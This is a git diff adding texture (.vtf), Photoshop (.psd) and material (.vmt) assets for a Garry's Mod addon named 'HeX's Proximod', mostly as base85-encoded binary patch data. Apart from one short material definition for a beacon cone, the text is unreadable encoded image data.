zQ!}ie8wxUt2>ww&NQ}tmnOIbCR<#J$z<>C8S`g2BVr--SUL8PPBH}*9>qF-qqJ=;p zw1>3V1L8ca8~YYem+H_?;oo8h(0|bd?(eB*tXs9Ff82FG%{;HyW<4$A1Nu!4e$V;i za{>CfA9S@|Tl(EXz7T_-&n{w{DEnPpaML`5? ztg9?zVJG5sZCRop)GFceg8BgMcyLqD!otov)u5upe(?Au?Kv>I^K9P zQK1fzZ&@$k=UgWk&vAX|$8&$y>;9Ba6FvAnaYmUN<+w@#M@l#kpO2J4 zduS*4AGVW0?dAtSD|!4P`CoNdue@U=d3@E`zw*=y_JL{I1Kv+@n|4axxjy0e>amBc zUb%VRAGY>2yf2aU)SOQ@m+$8MA|7bvd_xCJ@*R{i!gCQn6q27HI|H81ma-SSP-lI% zq+*+;zBRIDe)eh)ZTwyNx`|kk7`ulkR4+3D5_D>w*LHCh%XoAI_a=p+rx8T z-sh$l+Cwp@dDI8gFQ?frZ12SmAp5dD@VVY+i`w76O&(CAuAcLYWx?cpXR|6Md)FBCx*ddm?&rt{+#IpoT)C9Zl*lvmK==v~ z{*5?*?-igO5CM@ohVL6t>YaL9(5s&ZU6{RVFQNVLK0)0cl0i`5x>A9?%xT`gRletX zyf=SdtiNZZ2tF@j-EZ(j9&6a|)%mRRd?Lzrq|WPT<2@XacN%se=WkT8NuHOAMq={) zR7Adq_i{LFmL8SssaPGu>m%C(_t854ee&LH2TSt4?@i<6 zD>7=f5FMpLzU4hL2-@%$1ow(XIaBzLh5jE+k7ECz{rzF${p;)iwBHBcUvC$h_pi_2 zZ|33qZqv`XU$}RF|0@2q&OgllzMh?Z*$(dNy3uk%)^%etouw%7Zt=Vy(t8G*$En*ttaVEBrTO|X>8!SAZO_`C zAKZH`w0~*;(*C9WOY4Bv0j&dC2eb}o9ndpS_iZaXdTcxpmjj&fYt%6 z16l{P4rm?FI-qqx>wwk)tpi#Iv<_$;&^n-XKp iS_iZaXdTcxpmjj&fYt%616l{P4rm?FI`HGwf&T*)?KtKD literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vmt b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vmt new file mode 100644 index 0000000..b8358c4 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vmt @@ -0,0 +1,11 @@ +"UnlitGeneric" +{ + "_size" "1.0f" + "_color" "[1 1 1 1]" + "_roll" "0.0f" + "$baseTexture" "proxi/beacon_cone_rev" + "$ignorez" 1 + "$nolod" "1" + "$vertexcolor" 1 + "$vertexalpha" 1 +} \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vtf b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_cone_rev.vtf new file mode 100644 index 0000000000000000000000000000000000000000..08783f63ccdf56158d5596add816edd9b08b33d6 GIT binary patch literal 87616 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 literal 0 HcmV?d00001 diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_conestyle.psd b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/materials/proxi/beacon_conestyle.psd new file mode 100644 index 0000000000000000000000000000000000000000..892b148a8d3b74a95261298fffbaf1a64c582d69 GIT binary patch literal 79232 zcmeIb2Y3`W*EX!#b#H)eIssEm2lq;K!C=4?V<2>lZH&PU7cdVQ8DEn4tq= z0%EH)X>8LlD=;f5H7PD5+9fL~F*!Xjt5KEc*pxnTfe2HyTNM|PBx69MDqi(H>U-4l z@bIY8*v7@hrD0lZ-@wSwF#Vm78dd3+k&znc<~Dfn;QE8T>Zhc|yLkiz1h~0-x_Nrm zLyCIoLy|M1v+5_YiQ_esgjXjG*N6=eMAAx5W0L>P-o zPOmQj*N;g_a?6TNb@Qn2?v|9~_E&eNXGF#ofc(ol)1!u@#<@ktrKe=3#l#_b0ZzbZ zhyo%a0z*?`GLzzxGr~g~XJ#hE1~v-~_VV-b^a}C_@eB>~@Cfn^@@wYr>mKaw72@ON z>(h{ceR^L(z4Up8C#PpbC&$DY^KAC-@+@@UpYjZiOG_9O7aNwAk|an?jZRCCqY5^v zVyK}}3kt~%1x0}gpMePq2?+HL3JDH!|GNtQ>AnIm#G7(C_A}ms0{&gLh3+fJ)<|kW zC52g1ac*Qng-ptL;j{REVQT+uXocw`MFxhX#YJbth2q=T)7`_po_jz&55Fi+&p=PF zKrfFv?jC{e?gDw?l!Yoqc|@edCiEThZ}KRV^7B04yRp$3(f=x!!f8LtN7N@JEh;4? zv2hSJ3@+{ZrDUX}_e)823F+YJ(m5eHHf3;np(^PU>+|`KsUkMUsEO3fv_#Ri#KySA zCB~5_ro-($+&2~dNgz^Ncx{fZ7jqH z{*zY6cv-YspTIX>3Jgg}Oi6>L;~IN4bo;C5LMkh`93B$VE-j^RLSkIw^vLGHF5%5W zd_4kued~GF_b8lAp>%(lPm6@~jFhw?ZbldSPx)3xLf^k>i|NXr38C1)wrL5_woqkb zRO3%^g{mN~eM#+HVkW7+v7e_qK5ia#)Zbe8^5?g9`R7{;U;g~of;&4VCuB7C)R*>I z^yhcALA3_Og(k$urQ;qS-@2YYe)#(18&KEN*R!stpEtgU^Y^anR82f~Q=_p0j| z;9J+r-J`CThd;gnb$vYX_3}g<^6_)W7is-S_Q7?0y}Z3V8-%(01o(LR26%XQhXwn2 